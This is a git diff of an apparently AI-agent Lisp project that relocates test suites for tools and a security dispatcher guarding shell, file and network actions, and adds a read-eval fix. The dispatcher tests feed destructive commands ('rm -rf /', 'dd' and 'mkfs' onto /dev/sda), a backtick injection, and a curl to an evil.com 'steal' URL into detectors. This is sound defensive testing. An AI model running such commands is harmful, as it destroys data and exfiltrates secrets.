(:TYPE :HEADLINE :properties (:ID ... :TITLE ... :TAGS (...)) (defskill :passepartout-programming-org :priority 100 :trigger (lambda (ctx) (declare (ignore ctx)) nil)) - -(eval-when (:compile-toplevel :load-toplevel :execute) - (ignore-errors (ql:quickload :fiveam :silent t))) - -(defpackage :passepartout-utils-org-tests - (:use :cl :fiveam :passepartout) - (:export #:utils-org-suite)) - -(in-package :passepartout-utils-org-tests) - -(def-suite utils-org-suite - :description "Tests for Utils Org skill.") - -(in-suite utils-org-suite) - -(test id-generation - "Contract 1: org-id-generate returns unique UUID strings." - (let ((id1 (org-id-generate)) - (id2 (org-id-generate))) - (is (plusp (length id1))) - (is (not (string= id1 id2))))) - -(test id-format - "Contract 2: org-id-format ensures 'id:' prefix." - (let ((formatted (org-id-format "abc12345"))) - (is (search "id:" formatted)))) - -(test property-setter - "Contract 3: org-property-set modifies a property on a headline." - (let ((ast (list :type :HEADLINE - :properties (list :ID "id:test123" :TITLE "Test") - :contents nil))) - (org-property-set ast "id:test123" :STATUS "ACTIVE") - (is (string= (getf (getf ast :properties) :STATUS) "ACTIVE")))) - -(test todo-setter - "Contract 4: org-todo-set changes TODO state via org-property-set." - (let ((ast (list :type :HEADLINE - :properties (list :ID "id:todo001" :TITLE "Task") - :contents nil))) - (org-todo-set ast "id:todo001" "DONE") - (is (string= (getf (getf ast :properties) :TODO) "DONE")))) - -(test test-org-headline-add - "Contract 5: org-headline-add inserts a child headline." - (let* ((ast (list :type :HEADLINE - :properties (list :ID "root" :TITLE "Root") - :contents nil))) - (is (eq t (org-headline-add ast "root" "New Child"))) - (is (= 1 (length (getf ast :contents)))) - (is (string= "New Child" (getf (getf (first (getf ast :contents)) :properties) :TITLE))))) - -(test test-org-headline-find-by-id - "Contract 6: org-headline-find-by-id finds a headline by ID." - (let* ((ast (list :type :HEADLINE - :properties (list :ID "root" :TITLE "Root") - :contents - (list (list :type :HEADLINE - :properties (list :ID "child1" :TITLE "Child")) - (list :type :HEADLINE - :properties (list :ID "child2" :TITLE "Child 2")))))) - (let ((found (org-headline-find-by-id ast "child2"))) - (is (not (null found))) - (is (string= "Child 2" (getf (getf found :properties) :TITLE)))) - (let ((missing (org-headline-find-by-id ast "nonexistent"))) - (is (null missing) "Missing ID should return nil")))) - -(test test-org-id-get-create - "Contract 7: org-id-get-create returns existing ID or creates and sets a new one." - ;; Case 1: headline already has an ID - (let* ((ast (list :type :HEADLINE - :properties (list :ID "id:existing" :TITLE "Has ID") - :contents nil))) - (is (string= "id:existing" (org-id-get-create ast "id:existing")))) - ;; Case 2: headline exists by title but has no ID — one should be created - (let* ((ast (list :type :HEADLINE - :properties (list :TITLE "No ID") - :contents nil))) - (let ((new-id (org-id-get-create ast "No ID"))) - (is (stringp new-id)) - (is (uiop:string-prefix-p "id:" new-id)) - ;; Verify the ID was set on the headline - (is (string= new-id (getf (getf ast :properties) :ID))))) - ;; Case 3: idempotent — calling again returns same ID - (let* ((ast (list :type :HEADLINE - :properties (list :TITLE "Idempotent") - :contents nil))) - (let ((id1 (org-id-get-create ast "Idempotent")) - (id2 (org-id-get-create ast "Idempotent"))) - (is (string= id1 id2)))) - ;; Case 4: headline not found returns nil - (let* ((ast (list :type :HEADLINE - :properties (list :ID "root" :TITLE "Root") - :contents nil))) - (is (null (org-id-get-create ast "nonexistent"))))) diff --git a/lisp/programming-tools.lisp b/lisp/programming-tools.lisp index ba37e70..891adef 100644 --- a/lisp/programming-tools.lisp +++ b/lisp/programming-tools.lisp @@ -1,3 +1,175 @@ +(eval-when (:compile-toplevel :load-toplevel :execute) + (ql:quickload :fiveam :silent t)) + +(defpackage :passepartout-programming-tools-tests + (:use :cl :fiveam :passepartout) + (:export #:programming-tools-suite)) + +(in-package :passepartout-programming-tools-tests) + +(def-suite programming-tools-suite :description "Verification of programming cognitive tools") +(in-suite programming-tools-suite) + +(defun tools-tmpdir () + (let ((d (merge-pathnames "tmp/passepartout-tool-tests/" (user-homedir-pathname)))) + (uiop:ensure-all-directories-exist (list d)) + d)) + +(defun tools-cleanup () + (let ((d (tools-tmpdir))) + (uiop:delete-directory-tree d :validate t :if-does-not-exist :ignore))) + +(defun tools-write-file (filepath content) + (uiop:ensure-all-directories-exist (list filepath)) + (with-open-file (stream filepath :direction :output :if-exists :supersede :if-does-not-exist :create) + (write-string content stream))) + +(defun call-tool (tool-name &rest args) + (let ((tool (gethash (string-downcase (string tool-name)) *cognitive-tool-registry*))) + (unless tool (error "Tool ~a not found" tool-name)) + (funcall (cognitive-tool-body tool) args))) + +;; search-files +(test test-search-files-finds-matches + "Contract 1: search-files finds lines matching a regex pattern." + (let* ((dir (tools-tmpdir)) + (file-a (merge-pathnames "src-a.lisp" dir)) + (file-b (merge-pathnames "src-b.lisp" dir))) + (tools-write-file file-a "(defun foo () 'hello)") + (tools-write-file file-b "(defun bar () 'world)") + (let ((result (call-tool 'search-files :pattern "defun" :path (namestring dir) :include "*.lisp"))) + (is (eq (getf result :status) :success)) + (is (search "src-a.lisp:1:" (getf result :content))) + (is (search "src-b.lisp:1:" (getf result :content)))) + (tools-cleanup))) + +(test test-search-files-missing-params + "search-files returns error when required params are missing." + (let ((result (call-tool 'search-files :pattern "x"))) + (is (eq (getf result :status) :error)))) + +;; find-files +(test test-find-files-by-extension + "Contract 5: find-files returns files matching a glob." + (let ((dir (tools-tmpdir))) + (tools-write-file (merge-pathnames "a.lisp" dir) "test") + (tools-write-file (merge-pathnames "b.lisp" dir) "test") + (tools-write-file (merge-pathnames "c.org" dir) "test") + (let ((result (call-tool 'find-files :pattern "*.lisp" :path (namestring dir)))) + (is (eq (getf result :status) :success)) + (is (search "a.lisp" (getf result :content))) + (is (search "b.lisp" (getf result :content))) + (is (not (search "c.org" (getf result :content))))) + (tools-cleanup))) + +(test test-find-files-missing-params + "find-files returns error without required params." + (let ((result (call-tool 'find-files :pattern "*.lisp"))) + (is (eq (getf result :status) :error)))) + +;; read-file +(test test-read-file-full + "Contract 6: read-file returns full file contents." + (let* ((dir (tools-tmpdir)) + (file (merge-pathnames "readme.txt" dir))) + (tools-write-file file (format nil "line one~%line two~%line three")) + (let ((result (call-tool 'read-file :filepath (namestring file)))) + (is (eq (getf result :status) :success)) + (is (search "line one" (getf result :content)))) + (tools-cleanup))) + +(test test-read-file-missing-params + "read-file returns error without :filepath." + (let ((result (call-tool 'read-file))) + (is (eq (getf result :status) :error)))) + +;; write-file +(test test-write-file-creates + "Contract 7: write-file creates file with content." + (let* ((dir (tools-tmpdir)) + (file (merge-pathnames "output.txt" dir))) + (let ((result (call-tool 'write-file :filepath (namestring file) :content "hello world"))) + (is (eq (getf result :status) :success)) + (is (search "11 bytes" (getf result :content)))) + (is (string-equal "hello world" (uiop:read-file-string file))) + (tools-cleanup))) + +(test test-write-file-missing-params + "write-file returns error without required params." + (let ((result (call-tool 'write-file :content "x"))) + (is (eq (getf result :status) :error)))) + +;; list-directory +(test test-list-directory-all + "Contract 8: list-directory returns all entries." + (let ((dir (tools-tmpdir))) + (tools-write-file (merge-pathnames "alpha.txt" dir) "x") + (tools-write-file (merge-pathnames "beta.txt" dir) "y") + (let ((result (call-tool 'list-directory :path (namestring dir)))) + (is (eq (getf result :status) :success)) + (is (search "alpha.txt" (getf result :content))) + (is (search "beta.txt" (getf result :content)))) + (tools-cleanup))) + +(test test-list-directory-missing-params + "list-directory returns error without :path." + (let ((result (call-tool 'list-directory))) + (is (eq (getf result :status) :error)))) + +;; run-shell +(test test-run-shell-echo + "Contract 9: run-shell executes a command and returns output." + (let ((result (call-tool 'run-shell :cmd "echo hello"))) + (is (eq (getf result :status) :success)) + (is (search "hello" (getf result :content))))) + +(test test-run-shell-missing-params + "run-shell returns error without :cmd." + (let ((result (call-tool 'run-shell))) + (is (eq (getf result :status) :error)))) + +;; eval-form +(test test-eval-form-arithmetic + "Contract 10: eval-form evaluates a Lisp expression." + (let ((result (call-tool 'eval-form :code "(+ 1 2)"))) + (is (eq (getf result :status) :success)) + (is (search "3" (getf result :content))))) + +(test test-eval-form-missing-params + "eval-form returns error without :code." + (let ((result (call-tool 'eval-form))) + (is (eq (getf result :status) :error)))) + +;; org-modify-file +(test test-org-modify-file-replace + "Contract 13: org-modify-file replaces exact text in file." + (let* ((dir (tools-tmpdir)) + (file (merge-pathnames "doc.org" dir))) + (tools-write-file file "* TODO Buy milk~%* DONE Walk dog~%") + (let ((result (call-tool 'org-modify-file + :filepath (namestring file) + :old-text "TODO" :new-text "WAITING"))) + (is (eq (getf result :status) :success)) + (is (search "WAITING" (uiop:read-file-string file)))) + (tools-cleanup))) + +(test test-org-modify-file-not-found + "org-modify-file returns error when text not in file." + (let* ((dir (tools-tmpdir)) + (file (merge-pathnames "file.org" dir))) + (tools-write-file file "some content") + (let ((result (call-tool 'org-modify-file + :filepath (namestring file) + :old-text "not-in-file" :new-text "anything"))) + (is (eq (getf result :status) :error)) + (is (search "not found" (getf result :message)))) + (tools-cleanup))) + +(test test-org-modify-file-missing-params + "org-modify-file returns error without required params." + (let ((result (call-tool 'org-modify-file :filepath "x" :old-text "y"))) + (is (eq (getf result :status) :error)))) + (in-package :passepartout) (defun tools-write-file (filepath content) @@ -289,178 +461,6 @@ (prog1 (nreverse *modified-files-this-turn*) (setf *modified-files-this-turn* nil))) -(eval-when (:compile-toplevel :load-toplevel :execute) - (ql:quickload :fiveam :silent t)) - -(defpackage :passepartout-programming-tools-tests - (:use :cl :fiveam :passepartout) - (:export #:programming-tools-suite)) - -(in-package :passepartout-programming-tools-tests) - -(def-suite programming-tools-suite :description "Verification of programming cognitive tools") -(in-suite programming-tools-suite) - -(defun tools-tmpdir () - (let ((d (merge-pathnames "tmp/passepartout-tool-tests/" (user-homedir-pathname)))) - (uiop:ensure-all-directories-exist (list d)) - d)) - -(defun tools-cleanup () - (let ((d (tools-tmpdir))) - (uiop:delete-directory-tree d :validate t :if-does-not-exist :ignore))) - -(defun tools-write-file (filepath content) - (uiop:ensure-all-directories-exist (list filepath)) - (with-open-file (stream filepath :direction :output :if-exists :supersede :if-does-not-exist :create) - (write-string content stream))) - -(defun call-tool (tool-name &rest args) - (let ((tool (gethash (string-downcase (string tool-name)) *cognitive-tool-registry*))) - (unless tool (error "Tool ~a not found" tool-name)) - (funcall (cognitive-tool-body tool) args))) - -;; search-files -(test test-search-files-finds-matches - "Contract 1: search-files finds lines matching a regex pattern." - (let* ((dir (tools-tmpdir)) - (file-a (merge-pathnames "src-a.lisp" dir)) - (file-b (merge-pathnames "src-b.lisp" dir))) - (tools-write-file file-a "(defun foo () 'hello)") - (tools-write-file file-b "(defun bar () 'world)") - (let ((result (call-tool 'search-files :pattern "defun" :path (namestring dir) :include "*.lisp"))) - (is (eq (getf result :status) :success)) - (is (search "src-a.lisp:1:" (getf result :content))) - (is (search "src-b.lisp:1:" (getf result :content)))) - (tools-cleanup))) - -(test test-search-files-missing-params - "search-files returns error when required params are missing." - (let ((result (call-tool 'search-files :pattern "x"))) - (is (eq (getf result :status) :error)))) - -;; find-files -(test test-find-files-by-extension - "Contract 5: find-files returns files matching a glob." - (let ((dir (tools-tmpdir))) - (tools-write-file (merge-pathnames "a.lisp" dir) "test") - (tools-write-file (merge-pathnames "b.lisp" dir) "test") - (tools-write-file (merge-pathnames "c.org" dir) "test") - (let ((result (call-tool 'find-files :pattern "*.lisp" :path (namestring dir)))) - (is (eq (getf result :status) :success)) - (is (search "a.lisp" (getf result :content))) - (is (search "b.lisp" (getf result :content))) - (is (not (search "c.org" (getf result :content))))) - (tools-cleanup))) - -(test test-find-files-missing-params - "find-files returns error without required params." - (let ((result (call-tool 'find-files :pattern "*.lisp"))) - (is (eq (getf result :status) :error)))) - -;; read-file -(test test-read-file-full - "Contract 6: read-file returns full file contents." - (let* ((dir (tools-tmpdir)) - (file (merge-pathnames "readme.txt" dir))) - (tools-write-file file (format nil "line one~%line two~%line three")) - (let ((result (call-tool 'read-file :filepath (namestring file)))) - (is (eq (getf result :status) :success)) - (is (search "line one" (getf result :content)))) - (tools-cleanup))) - -(test test-read-file-missing-params - "read-file returns error without :filepath." - (let ((result (call-tool 'read-file))) - (is (eq (getf result :status) :error)))) - -;; write-file -(test test-write-file-creates - "Contract 7: write-file creates file with content." - (let* ((dir (tools-tmpdir)) - (file (merge-pathnames "output.txt" dir))) - (let ((result (call-tool 'write-file :filepath (namestring file) :content "hello world"))) - (is (eq (getf result :status) :success)) - (is (search "11 bytes" (getf result :content)))) - (is (string-equal "hello world" (uiop:read-file-string file))) - (tools-cleanup))) - -(test test-write-file-missing-params - "write-file returns error without required params." - (let ((result (call-tool 'write-file :content "x"))) - (is (eq (getf result :status) :error)))) - -;; list-directory -(test test-list-directory-all - "Contract 8: list-directory returns all entries." - (let ((dir (tools-tmpdir))) - (tools-write-file (merge-pathnames "alpha.txt" dir) "x") - (tools-write-file (merge-pathnames "beta.txt" dir) "y") - (let ((result (call-tool 'list-directory :path (namestring dir)))) - (is (eq (getf result :status) :success)) - (is (search "alpha.txt" (getf result :content))) - (is (search "beta.txt" (getf result :content)))) - (tools-cleanup))) - -(test test-list-directory-missing-params - "list-directory returns error without :path." - (let ((result (call-tool 'list-directory))) - (is (eq (getf result :status) :error)))) - -;; run-shell -(test test-run-shell-echo - "Contract 9: run-shell executes a command and returns output." - (let ((result (call-tool 'run-shell :cmd "echo hello"))) - (is (eq (getf result :status) :success)) - (is (search "hello" (getf result :content))))) - -(test test-run-shell-missing-params - "run-shell returns error without :cmd." - (let ((result (call-tool 'run-shell))) - (is (eq (getf result :status) :error)))) - -;; eval-form -(test test-eval-form-arithmetic - "Contract 10: eval-form evaluates a Lisp expression." - (let ((result (call-tool 'eval-form :code "(+ 1 2)"))) - (is (eq (getf result :status) :success)) - (is (search "3" (getf result :content))))) - -(test test-eval-form-missing-params - "eval-form returns error without :code." - (let ((result (call-tool 'eval-form))) - (is (eq (getf result :status) :error)))) - -;; org-modify-file -(test test-org-modify-file-replace - "Contract 13: org-modify-file replaces exact text in file." - (let* ((dir (tools-tmpdir)) - (file (merge-pathnames "doc.org" dir))) - (tools-write-file file "* TODO Buy milk~%* DONE Walk dog~%") - (let ((result (call-tool 'org-modify-file - :filepath (namestring file) - :old-text "TODO" :new-text "WAITING"))) - (is (eq (getf result :status) :success)) - (is (search "WAITING" (uiop:read-file-string file)))) - (tools-cleanup))) - -(test test-org-modify-file-not-found - "org-modify-file returns error when text not in file." - (let* ((dir (tools-tmpdir)) - (file (merge-pathnames "file.org" dir))) - (tools-write-file file "some content") - (let ((result (call-tool 'org-modify-file - :filepath (namestring file) - :old-text "not-in-file" :new-text "anything"))) - (is (eq (getf result :status) :error)) - (is (search "not found" (getf result :message)))) - (tools-cleanup))) - -(test test-org-modify-file-missing-params - "org-modify-file returns error without required params." - (let ((result (call-tool 'org-modify-file :filepath "x" :old-text "y"))) - (is (eq (getf result :status) :error)))) - (in-package :passepartout-programming-tools-tests) (test test-modified-files-track-write diff --git a/lisp/security-dispatcher.lisp b/lisp/security-dispatcher.lisp index 2a517d0..03cc0a7 100644 --- a/lisp/security-dispatcher.lisp +++ b/lisp/security-dispatcher.lisp @@ -1,3 +1,189 @@ +(eval-when (:compile-toplevel :load-toplevel :execute) + (ql:quickload :fiveam :silent t)) + +(defpackage :passepartout-security-dispatcher-tests + (:use :cl :fiveam :passepartout) + (:export #:dispatcher-suite)) + +(in-package :passepartout-security-dispatcher-tests) + +(def-suite dispatcher-suite :description "Verification of the Security Dispatcher") +(in-suite dispatcher-suite) + +(test test-wildcard-match + "Contract 1: wildcard pattern * matches any characters." + (is (wildcard-match "*.env" ".env")) + (is (wildcard-match "*.env" "prod.env")) + (is (wildcard-match "*credential*" "my-credential-file")) + (is (wildcard-match "*.key" "id_rsa.key")) + (is (not (wildcard-match "*.env" "config.yaml")))) + +(test test-check-secret-path + "Contract 2: dispatcher-check-secret-path matches protected patterns." + (is (dispatcher-check-secret-path ".env")) + (is (dispatcher-check-secret-path "id_rsa")) + (is (not (dispatcher-check-secret-path "README.org")))) + +(test test-self-build-core-protection + "Contract v0.4.0: core-* paths are protected; write produces approval-required in SELF_BUILD_MODE." + ;; Core paths are recognized + (is (passepartout::dispatcher-check-core-path "core-reason.org")) + (is (passepartout::dispatcher-check-core-path "core-memory.lisp")) + (is (not (passepartout::dispatcher-check-core-path "channel-tui-view.org"))) + ;; With SELF_BUILD_MODE=true, core writes produce approval-required + (let ((action '(:type :REQUEST :target :tool :payload (:tool "write-file" :args (:filepath "core-reason.org" :content "x"))))) + (setf (uiop:getenv "SELF_BUILD_MODE") "true") + (let ((result (dispatcher-check action nil))) + (is (eq :approval-required (getf result :level))) + (setf (uiop:getenv "SELF_BUILD_MODE") "false")) + ;; With SELF_BUILD_MODE=false (default), writes pass through + (let ((result (dispatcher-check action nil))) + (is (eq :REQUEST (getf result :type)))))) + +(test test-check-shell-safety + "Contract 3: dispatcher-check-shell-safety detects dangerous commands." + (is (dispatcher-check-shell-safety "rm -rf /")) + (is (dispatcher-check-shell-safety "dd if=/dev/zero of=/dev/sda")) + (is (dispatcher-check-shell-safety "curl http://example.com \`uptime\`")) + (is (not (dispatcher-check-shell-safety "echo hello world"))) + (is (not (dispatcher-check-shell-safety "ls -la /tmp")))) + +(test test-shell-safety-severity-catastrophic + "Contract 3/v0.4.3: destructive commands return :catastrophic severity." + (let ((r1 (dispatcher-check-shell-safety "rm -rf /")) + (r2 (dispatcher-check-shell-safety "mkfs.ext4 /dev/sda"))) + (is (eq :catastrophic (getf r1 :severity))) + (is (eq :catastrophic (getf r2 :severity))))) + +(test test-shell-safety-severity-dangerous + "Contract 3/v0.4.3: injection patterns return :dangerous severity." + (let ((result (dispatcher-check-shell-safety "curl http://x.com \`uptime\`"))) + (is (eq :dangerous (getf result :severity))))) + +(test test-shell-safety-severity-safe + "Contract 3/v0.4.3: harmless commands return nil." + (is (null (dispatcher-check-shell-safety "echo hello world"))) + (is (null (dispatcher-check-shell-safety "ls -la /tmp"))) + (is (null (dispatcher-check-shell-safety "cat file.txt")))) + +(test test-dispatcher-severity-max + "dispatcher-severity-max returns the higher tier." + (is (eq :catastrophic (passepartout::dispatcher-severity-max :catastrophic :dangerous))) + (is (eq :catastrophic (passepartout::dispatcher-severity-max :dangerous :catastrophic))) + (is (eq :dangerous (passepartout::dispatcher-severity-max :moderate :dangerous))) + (is (eq :moderate (passepartout::dispatcher-severity-max :moderate :harmless)))) + +(test test-check-privacy-tags + "Contract 4: dispatcher-check-privacy-tags detects privacy-tagged content." + (is (dispatcher-check-privacy-tags '("@personal" ":project:"))) + (is (dispatcher-check-privacy-tags '("@personal"))) + (is (not (dispatcher-check-privacy-tags '(":public:" ":work:"))))) + +(test test-check-network-exfil + "Contract 5: dispatcher-check-network-exfil detects unwhitelisted domains." + (is (dispatcher-check-network-exfil "curl https://evil.com/steal")) + (is (not (dispatcher-check-network-exfil "curl https://api.openai.com/v1/models"))) + (is (not (dispatcher-check-network-exfil "echo hello")))) + +;; ── v0.7.2 Tag Stack ── + +(test test-tag-categories-load + "Contract v0.7.2: TAG_CATEGORIES env var loads into *tag-categories*." + (setf (uiop:getenv "TAG_CATEGORIES") "@personal:block,@draft:warn,@review:log") + (passepartout::tag-categories-load) + (let ((cats passepartout::*tag-categories*)) + (is (>= (length cats) 1)) + (is (eq :block (passepartout::tag-category-severity "@personal"))) + (is (eq :warn (passepartout::tag-category-severity "@draft"))) + (is (eq :log (passepartout::tag-category-severity "@review")))) + (ignore-errors (setf (uiop:getenv "TAG_CATEGORIES") nil))) + +(test test-tag-category-severity-unknown + "Contract v0.7.2: unknown tag returns nil." + (is (null (passepartout::tag-category-severity "@nonexistent-xxxx")))) + +(test test-privacy-severity-block + "v0.7.2: dispatcher-privacy-severity returns :block for block-tagged content." + (setf passepartout::*tag-categories* '(("@personal" . :block))) + (is (eq :block (passepartout::dispatcher-privacy-severity '("@personal"))))) + +(test test-privacy-severity-warn + "v0.7.2: dispatcher-privacy-severity returns :warn for warn-tagged content." + (setf passepartout::*tag-categories* '(("@draft" . :warn))) + (is (eq :warn (passepartout::dispatcher-privacy-severity '("@draft"))))) + +(test test-privacy-severity-nil + "v0.7.2: dispatcher-privacy-severity returns nil for untagged content." + (setf passepartout::*tag-categories* nil) + (is (null (passepartout::dispatcher-privacy-severity '("public"))))) + +(test test-tag-trigger-record + "v0.7.2: tag-trigger-record increments per-tag count." + (clrhash passepartout::*tag-trigger-count*) + (passepartout::tag-trigger-record "@personal") + (passepartout::tag-trigger-record "@personal") + (passepartout::tag-trigger-record "@draft") + (is (= 2 (gethash "@personal" passepartout::*tag-trigger-count* 0))) + (is (= 1 (gethash "@draft" passepartout::*tag-trigger-count* 0))) + (clrhash passepartout::*tag-trigger-count*)) + +(test test-tag-categories-privacy-fallback + "v0.7.2: TAG_CATEGORIES falls back to PRIVACY_FILTER_TAGS when not set." + (let ((orig-tag (uiop:getenv "TAG_CATEGORIES")) + (orig-privacy (uiop:getenv "PRIVACY_FILTER_TAGS")) + (saved-tag (uiop:getenv "TAG_CATEGORIES")) + (saved-privacy (uiop:getenv "PRIVACY_FILTER_TAGS"))) + ;; Set PRIVACY_FILTER_TAGS, clear TAG_CATEGORIES + (sb-posix:setenv "PRIVACY_FILTER_TAGS" "@personal,@draft" 1) + (sb-posix:unsetenv "TAG_CATEGORIES") + (passepartout::tag-categories-load) + (is (eq :block (passepartout::tag-category-severity "@personal"))) + (is (eq :block (passepartout::tag-category-severity "@draft"))) + ;; Restore + (when saved-tag (sb-posix:setenv "TAG_CATEGORIES" saved-tag 1)) + (when saved-privacy (sb-posix:setenv "PRIVACY_FILTER_TAGS" saved-privacy 1)) + (passepartout::tag-categories-load))) + +(test test-safe-tool-read-only-auto-approve + "Contract v0.7.2: read-only tools pass dispatcher-check unconditionally." + (setf (gethash "test-ro-tool" passepartout::*cognitive-tool-registry*) + (passepartout::make-cognitive-tool :name "test-ro-tool" + :description "Read-only test" + :parameters nil + :guard nil + :body nil + :read-only-p t)) + (unwind-protect + (let* ((action '(:TYPE :REQUEST :TARGET :tool + :PAYLOAD (:TOOL "test-ro-tool" :ARGS (:FILEPATH "/tmp/test")))) + (result (dispatcher-check action nil))) + (is (eq :REQUEST (getf result :type))) + (is (not (member (getf result :type) '(:LOG :approval-required))))) + (remhash "test-ro-tool" passepartout::*cognitive-tool-registry*))) + +(test test-safe-tool-write-still-checked + "Contract v0.7.2: write tools still go through full dispatcher check." + (let ((orig-tool (gethash "write-file" passepartout::*cognitive-tool-registry*))) + (setf (gethash "write-file" passepartout::*cognitive-tool-registry*) + (passepartout::make-cognitive-tool :name "write-file" + :description "File writer" + :parameters nil + :guard nil + :body nil + :read-only-p nil)) + (unwind-protect + (progn + (setf (uiop:getenv "SELF_BUILD_MODE") "true") + (let* ((action '(:TYPE :REQUEST :TARGET :tool + :PAYLOAD (:TOOL "write-file" :ARGS (:FILEPATH "core-reason.org" :CONTENT "x")))) + (result (dispatcher-check action nil))) + (is (eq :approval-required (getf result :level))) + (is (search "HITL" (getf (getf result :payload) :message))))) + (setf (uiop:getenv "SELF_BUILD_MODE") "false") + (if orig-tool + (setf (gethash "write-file" passepartout::*cognitive-tool-registry*) orig-tool) + (remhash "write-file" passepartout::*cognitive-tool-registry*))))) + (in-package :passepartout) (defvar *dispatcher-network-whitelist* @@ -397,7 +583,7 @@ Eleven checks: 0=REPL-lint (warn-only), 1=lisp-validation, 2=secret-path, (action-str (getf attrs :ACTION))) (when (and (member "FLIGHT_PLAN" tags :test #'string-equal) action-str) (log-message "DISPATCHER: Found approved flight plan '~a'. Re-injecting..." (memory-object-id node)) - (let ((action (ignore-errors (read-from-string action-str)))) + (let ((action (ignore-errors (let ((*read-eval* nil)) (read-from-string action-str))))) (when action (setf (getf action :approved) t) (stimulus-inject (list :type :EVENT @@ -525,192 +711,6 @@ Recognized formats: (sorted (sort (copy-list by-gate) #'> :key #'cdr))) (list :total total :by-gate sorted))) -(eval-when (:compile-toplevel :load-toplevel :execute) - (ql:quickload :fiveam :silent t)) - -(defpackage :passepartout-security-dispatcher-tests - (:use :cl :fiveam :passepartout) - (:export #:dispatcher-suite)) - -(in-package :passepartout-security-dispatcher-tests) - -(def-suite dispatcher-suite :description "Verification of the Security Dispatcher") -(in-suite dispatcher-suite) - -(test test-wildcard-match - "Contract 1: wildcard pattern * matches any characters." - (is (wildcard-match "*.env" ".env")) - (is (wildcard-match "*.env" "prod.env")) - (is (wildcard-match "*credential*" "my-credential-file")) - (is (wildcard-match "*.key" "id_rsa.key")) - (is (not (wildcard-match "*.env" "config.yaml")))) - -(test test-check-secret-path - "Contract 2: dispatcher-check-secret-path matches protected patterns." - (is (dispatcher-check-secret-path ".env")) - (is (dispatcher-check-secret-path "id_rsa")) - (is (not (dispatcher-check-secret-path "README.org")))) - -(test test-self-build-core-protection - "Contract v0.4.0: core-* paths are protected; write produces approval-required in SELF_BUILD_MODE." - ;; Core paths are recognized - (is (passepartout::dispatcher-check-core-path "core-reason.org")) - (is (passepartout::dispatcher-check-core-path "core-memory.lisp")) - (is (not (passepartout::dispatcher-check-core-path "channel-tui-view.org"))) - ;; With SELF_BUILD_MODE=true, core writes produce approval-required - (let ((action '(:type :REQUEST :target :tool :payload (:tool "write-file" :args (:filepath "core-reason.org" :content "x"))))) - (setf (uiop:getenv "SELF_BUILD_MODE") "true") - (let ((result (dispatcher-check action nil))) - (is (eq :approval-required (getf result :level))) - (setf (uiop:getenv "SELF_BUILD_MODE") "false")) - ;; With SELF_BUILD_MODE=false (default), writes pass through - (let ((result (dispatcher-check action nil))) - (is (eq :REQUEST (getf result :type)))))) - -(test test-check-shell-safety - "Contract 3: dispatcher-check-shell-safety detects dangerous commands." - (is (dispatcher-check-shell-safety "rm -rf /")) - (is (dispatcher-check-shell-safety "dd if=/dev/zero of=/dev/sda")) - (is (dispatcher-check-shell-safety "curl http://example.com \`uptime\`")) - (is (not (dispatcher-check-shell-safety "echo hello world"))) - (is (not (dispatcher-check-shell-safety "ls -la /tmp")))) - -(test test-shell-safety-severity-catastrophic - "Contract 3/v0.4.3: destructive commands return :catastrophic severity." - (let ((r1 (dispatcher-check-shell-safety "rm -rf /")) - (r2 (dispatcher-check-shell-safety "mkfs.ext4 /dev/sda"))) - (is (eq :catastrophic (getf r1 :severity))) - (is (eq :catastrophic (getf r2 :severity))))) - -(test test-shell-safety-severity-dangerous - "Contract 3/v0.4.3: injection patterns return :dangerous severity." - (let ((result (dispatcher-check-shell-safety "curl http://x.com \`uptime\`"))) - (is (eq :dangerous (getf result :severity))))) - -(test test-shell-safety-severity-safe - "Contract 3/v0.4.3: harmless commands return nil." - (is (null (dispatcher-check-shell-safety "echo hello world"))) - (is (null (dispatcher-check-shell-safety "ls -la /tmp"))) - (is (null (dispatcher-check-shell-safety "cat file.txt")))) - -(test test-dispatcher-severity-max - "dispatcher-severity-max returns the higher tier." - (is (eq :catastrophic (passepartout::dispatcher-severity-max :catastrophic :dangerous))) - (is (eq :catastrophic (passepartout::dispatcher-severity-max :dangerous :catastrophic))) - (is (eq :dangerous (passepartout::dispatcher-severity-max :moderate :dangerous))) - (is (eq :moderate (passepartout::dispatcher-severity-max :moderate :harmless)))) - -(test test-check-privacy-tags - "Contract 4: dispatcher-check-privacy-tags detects privacy-tagged content." - (is (dispatcher-check-privacy-tags '("@personal" ":project:"))) - (is (dispatcher-check-privacy-tags '("@personal"))) - (is (not (dispatcher-check-privacy-tags '(":public:" ":work:"))))) - -(test test-check-network-exfil - "Contract 5: dispatcher-check-network-exfil detects unwhitelisted domains." - (is (dispatcher-check-network-exfil "curl https://evil.com/steal")) - (is (not (dispatcher-check-network-exfil "curl https://api.openai.com/v1/models"))) - (is (not (dispatcher-check-network-exfil "echo hello")))) - -;; ── v0.7.2 Tag Stack ── - -(test test-tag-categories-load - "Contract v0.7.2: TAG_CATEGORIES env var loads into *tag-categories*." - (setf (uiop:getenv "TAG_CATEGORIES") "@personal:block,@draft:warn,@review:log") - (passepartout::tag-categories-load) - (let ((cats passepartout::*tag-categories*)) - (is (>= (length cats) 1)) - (is (eq :block (passepartout::tag-category-severity "@personal"))) - (is (eq :warn (passepartout::tag-category-severity "@draft"))) - (is (eq :log (passepartout::tag-category-severity "@review")))) - (ignore-errors (setf (uiop:getenv "TAG_CATEGORIES") nil))) - -(test test-tag-category-severity-unknown - "Contract v0.7.2: unknown tag returns nil." - (is (null (passepartout::tag-category-severity "@nonexistent-xxxx")))) - -(test test-privacy-severity-block - "v0.7.2: dispatcher-privacy-severity returns :block for block-tagged content." - (setf passepartout::*tag-categories* '(("@personal" . :block))) - (is (eq :block (passepartout::dispatcher-privacy-severity '("@personal"))))) - -(test test-privacy-severity-warn - "v0.7.2: dispatcher-privacy-severity returns :warn for warn-tagged content." - (setf passepartout::*tag-categories* '(("@draft" . :warn))) - (is (eq :warn (passepartout::dispatcher-privacy-severity '("@draft"))))) - -(test test-privacy-severity-nil - "v0.7.2: dispatcher-privacy-severity returns nil for untagged content." - (setf passepartout::*tag-categories* nil) - (is (null (passepartout::dispatcher-privacy-severity '("public"))))) - -(test test-tag-trigger-record - "v0.7.2: tag-trigger-record increments per-tag count." - (clrhash passepartout::*tag-trigger-count*) - (passepartout::tag-trigger-record "@personal") - (passepartout::tag-trigger-record "@personal") - (passepartout::tag-trigger-record "@draft") - (is (= 2 (gethash "@personal" passepartout::*tag-trigger-count* 0))) - (is (= 1 (gethash "@draft" passepartout::*tag-trigger-count* 0))) - (clrhash passepartout::*tag-trigger-count*)) - -(test test-tag-categories-privacy-fallback - "v0.7.2: TAG_CATEGORIES falls back to PRIVACY_FILTER_TAGS when not set." - (let ((orig-tag (uiop:getenv "TAG_CATEGORIES")) - (orig-privacy 